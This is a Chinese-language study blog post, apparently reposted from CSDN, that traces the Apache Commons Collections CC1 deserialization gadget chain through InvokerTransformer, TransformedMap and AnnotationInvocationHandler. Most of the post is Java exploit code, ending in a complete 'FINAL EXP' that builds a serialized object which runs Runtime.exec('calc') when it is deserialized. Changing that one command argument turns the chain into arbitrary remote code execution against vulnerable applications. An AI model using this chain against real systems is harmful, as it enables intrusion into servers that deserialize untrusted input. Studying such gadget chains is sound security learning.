Java反序列化CC1-TransformedMap链学习
学习参考:Java反序列化CC1链TransformedMap
核心是要学会基本EXP编写,还有怎么找传递链。
链子尾部
这里有一个能反射调用任意类,任意方法的:
以这个漏洞点写EXP,由于这个是public的InvokerTransformer,所以不需要反射,直接执行即可:
写一个正常Runtime弹calc的EXP,然后根据参数修改即可
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
System.out.printf("Ok! Let's start CC1! \n");
// Runtime runtime = Runtime.getRuntime();
// Class c = Runtime.class;
// Method method = c.getDeclaredMethod("exec", String.class);
// method.setAccessible(true);
// method.invoke(runtime,"calc");
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
回溯找调用链
由于链子尾部是调用的transform
,所以我们要找其它同名的transform
方法。
直接Find Usage找不全,选择 ctrl+alt+shift+F7,选择所有位置即可找全。
找到TransformedMap的checkSetValue方法:
其中的valueTransformer来自构造函数。
重点在于,构造函数是protected的!所以得继续找其它调用构造函数的点:
Find Usage找到 decorate:
现在以decorate开头写一个到invoker结尾的EXP:
对于checkSetVaue
,value要是runtime对象,valueTransformer要是InvokerTransformer.
然后由于这个CheckSetValue是protected,所以要反射调用。
先拿到TransformedMap的class,反射获取checkSetValue方法,setAccessible,然后invoke。
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
System.out.printf("Ok! Let's start CC1! \n");
// Runtime runtime = Runtime.getRuntime();
// Class c = Runtime.class;
// Method method = c.getDeclaredMethod("exec", String.class);
// method.setAccessible(true);
// method.invoke(runtime,"calc");
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
Class<TransformedMap>transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue",Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap,runtime);
// invokerTransformer.transform(runtime);
}
}
继续往上找链子,很自然的想到找谁调用了checkSetValue;
唯一一个parent.checkSetValue.
找到调用checkSetValue的是一个Abstractxxx类的一个内部类MapEntry类:
往上面回溯两层setValue
方法,可以找到来源:
是来自普遍的Map!
也就是Map在setValue的时候就会触发checkSetValue.
这里尝试验证一下:我们遍历一个map,setvalue(runtime):
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class setValueTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("a",1);
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
for(Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
}
}
发现确实走到checkSetValue了,同时EXP也成立:
继续往上找,找setValue的调用。
找入口类
找到一个readObject
的入口类:
(呃呃呃,我的这个是class,不是源码,所以搜不到。。。)
然后这个类的构造函数的作用域是default,所以也得用反射写。
理想情况的EXP:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class idealExp {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("a",1);
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,decorateMap);
serialize(o);
deseralize("ser.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object deseralize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
理想EXP的几个问题 && 解决
但有几个问题:
-
Runtime对象不能序列化。
-
最终的setValue是需要传Runtime对象的,但这里直接看是不可控的:
-
进入setValue前有两个if判断需要解决。
第一个问题:
Runtime对象不可序列化,但是Runtime.class可以。所以用反射来写。
而反射又需要用invokerTransformer来间接完成。
这里用chainedTransformer来简化。
这里就不写完了,只是写写Runtime.class和结合invokerTransformer后,再用chainedTransformer简化的部分,其余的链子思路都挺清晰的,现在不想写。。。
Runtime.class:(学到了。。。orz)
package org.example;
import java.lang.reflect.Method;
public class runtimeClassTest {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null,null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime,"calc");
}
}
特别是
Runtime runtime = (Runtime) method.invoke(null,null);
秀!
这样就完全可以改造为invokerTransformer的形式了。
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class runtimeClassTest {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
// Method method = c.getMethod("getRuntime");
// Runtime runtime = (Runtime) method.invoke(null,null);
// Method run = c.getMethod("exec", String.class);
// run.invoke(runtime,"calc");
Method runtimeMethod = (Method) new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);
Method run = (Method) new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(c);
run.invoke(runtime,"calc");
}
}
然后结合chaindTransformer和decorate再写写,
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class idealExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("a",1);
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,decorateMap);
serialize(o);
deseralize("ser.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object deseralize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
然后在Annoxxx那两个if打断点,看看什么情况。
第一个if要求var7!=null:
而var7来自:
Class var7 = (Class)var3.get(var6);
我们构造函数的传参是:
是没有member的:
所以要找另外的注解。
直接跟着找到Target.java:
有一个成员value,所以我们put的值也要是value。
调整这两处:
这样再debug,var7就!=null了:
同时也能成功进入第二个if:
现在到了最后一个问题,setValue中的参数不可控。
能找到一个ConstantTransformer
类:
那么就可以将setValue中new的那个AnnotationTypeMismatchExceptionProxy
作为ConstantTransformer
的transform的参数!然后iConstant我们可控,就能控制setValue的参数了。(orz ++)
具体到代码实现,刚好这个Constantxxx的transform方法可以添加到ChainedTransformer的开头~
FINAL EXP:(打断点多看看chained那儿)
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class idealExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value",1);
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,decorateMap);
serialize(o);
deseralize("ser.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object deseralize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
最后再debug看看chained那儿:
第一次的transform就是设置Axxx这个为可控的iConstant(Runtime.class)
第二次就是getMethod获取getRuntime:
第三次就是method.invoke()
:
最后就是exec("calc")
:
总结
先是找到结尾的反射调用任意类任意方法,然后往上回溯,找重名调用,最终找到入口readObject的类。
中间很多细节值得推敲,精妙!
利用链:
InvokerTransformer # transform
TransformedMap # checkSetValue
AbstractInputCheckedMapDecorator # setValue
AnnotationInvocationHandler # readObject
<===
<===
<===
原文地址:https://blog.csdn.net/ULGANOY/article/details/142455413
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!